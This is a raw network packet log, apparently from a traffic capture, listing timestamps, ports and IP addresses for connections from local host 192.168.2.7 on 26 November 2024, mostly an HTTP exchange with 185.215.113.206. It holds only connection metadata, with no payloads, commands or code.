Nov 26, 2024 22:52:46.370198011 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.370254993 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.370402098 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.384143114 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.415323973 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.417346954 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.417356014 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.469619036 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.480628014 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.481590033 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.481617928 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.481997967 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.482014894 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.495405912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.495421886 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.495469093 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.495665073 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.495686054 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.495704889 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.495733976 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.496774912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.496779919 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.496829033 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.498230934 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.498245001 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.498306990 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.498375893 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.498878002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.498889923 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.498924017 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.498940945 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.499931097 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.499947071 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.499978065 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.499998093 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.501369953 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.501383066 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.501535892 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.502131939 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.502145052 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.502191067 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.502542973 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.502589941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.502991915 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.503067970 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.503506899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.503654003 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.503700972 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.504591942 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.504637003 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.504663944 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.504765987 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.505670071 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.505682945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.505734921 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.506716013 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.506727934 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.506799936 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.506799936 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.507774115 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.507786989 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.507827044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.507859945 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.508740902 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.508754969 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.508804083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.509906054 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.509919882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.509974003 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.510545969 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.510559082 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.510642052 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.511887074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.511907101 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.511960983 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.512454033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.512500048 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.513214111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.513489008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.513500929 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.513533115 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.513561010 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.514456987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.514602900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.514606953 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.514647961 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.515942097 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.515949011 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.516007900 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.516513109 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.516657114 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.517033100 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.517348051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.517550945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.517564058 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.517607927 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.518410921 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.518460989 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.518484116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.518522024 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.519342899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.519391060 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.519479990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.519742966 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.520458937 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.520472050 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.520498037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.520533085 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.521828890 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.521845102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.521893978 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.522435904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.522449970 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.522491932 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.523380995 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.523391962 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.524354935 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.524404049 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.524490118 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.525296926 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.525341034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.525408030 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.526258945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.526357889 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.526408911 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.527256012 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.527354002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.528273106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.528321028 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.528376102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.529366016 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.529380083 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.529411077 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.529428959 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.530225992 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.530360937 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.530405045 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.531213999 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.531352997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.532263041 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.532315016 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.532368898 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.533251047 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.533291101 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.533323050 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.534235001 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.534308910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.534353018 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.535283089 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.535361052 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.536176920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.536204100 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.536355972 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.536540985 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.536585093 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.537144899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.537215948 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.537246943 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.537369967 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.537462950 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.538130999 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.538230896 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.538278103 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.539083958 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.539109945 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.539182901 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.539350033 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.539356947 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.539382935 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.539819956 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.539829016 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.541440010 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.541454077 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.541465998 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.541476965 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.541501999 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.541570902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.542495966 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.542507887 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.542545080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.542568922 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.543102980 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.543149948 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.543287992 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.543438911 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.546169996 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.546185017 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.546196938 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.546206951 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.546220064 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.546226025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.546251059 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.546298027 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.546991110 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.547032118 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.551213980 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.551249027 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.551266909 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.551347017 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:46.551372051 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.551383972 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.551419020 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:46.553634882 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:46.553634882 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:46.553662062 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.553673029 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.557040930 CET	443	49853	104.70.121.187	192.168.2.7
Nov 26, 2024 22:52:46.559231997 CET	49853	443	192.168.2.7	104.70.121.187
Nov 26, 2024 22:52:46.559248924 CET	443	49853	104.70.121.187	192.168.2.7
Nov 26, 2024 22:52:46.560465097 CET	443	49853	104.70.121.187	192.168.2.7
Nov 26, 2024 22:52:46.560547113 CET	49853	443	192.168.2.7	104.70.121.187
Nov 26, 2024 22:52:46.561660051 CET	49853	443	192.168.2.7	104.70.121.187
Nov 26, 2024 22:52:46.561783075 CET	443	49853	104.70.121.187	192.168.2.7
Nov 26, 2024 22:52:46.576948881 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:46.607984066 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:46.607997894 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:46.608046055 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:46.608058929 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:46.608077049 CET	49848	443	192.168.2.7	23.44.133.41
Nov 26, 2024 22:52:46.608081102 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:46.608207941 CET	49848	443	192.168.2.7	23.44.133.41
Nov 26, 2024 22:52:46.609232903 CET	49848	443	192.168.2.7	23.44.133.41
Nov 26, 2024 22:52:46.609267950 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:46.616795063 CET	49853	443	192.168.2.7	104.70.121.187
Nov 26, 2024 22:52:46.616805077 CET	443	49853	104.70.121.187	192.168.2.7
Nov 26, 2024 22:52:46.646936893 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.663392067 CET	49853	443	192.168.2.7	104.70.121.187
Nov 26, 2024 22:52:46.671891928 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.671910048 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.672384977 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.672394037 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.687262058 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.687323093 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.687324047 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.687366009 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.687736034 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.687774897 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.687813997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.687849998 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.689027071 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.689049959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.689062119 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.689090967 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.689114094 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.690193892 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.690208912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.690244913 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.690260887 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.691010952 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.691025019 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.691081047 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.692049980 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.692063093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.692092896 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.692110062 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.692737103 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.692791939 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.693254948 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.693325996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.693808079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.693820000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.693861008 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.694892883 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.694905043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.694942951 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.695748091 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.695812941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.695827007 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.695910931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.696811914 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.696878910 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.696918964 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.696957111 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.697776079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.697791100 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.697819948 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.697855949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.698671103 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.698725939 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.698769093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.698824883 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.699784994 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.699800014 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.699822903 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.699841022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.700638056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.700676918 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.700846910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.700884104 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.701656103 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.701694965 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.701747894 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.701805115 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.703028917 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.703042984 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.703084946 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.703763962 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.703778028 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.703816891 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.705005884 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.705022097 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.705068111 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.705893040 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.705905914 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.705959082 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.706605911 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.706715107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.706727028 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.707017899 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.707586050 CET	49864	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:46.707597017 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.707639933 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.707653999 CET	443	49864	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.707674026 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.707734108 CET	49864	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:46.707792044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.708034039 CET	49864	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:46.708045959 CET	443	49864	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:46.708652973 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.708666086 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.708714962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.709659100 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.709671974 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.709697962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.709713936 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.710592985 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.710644007 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.710743904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.710781097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.711507082 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.711556911 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.711687088 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.711730957 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.712742090 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.712755919 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.712820053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.712820053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.713555098 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.713593006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.713634968 CET	49801	80	192.168.2.7	185.215.113.206
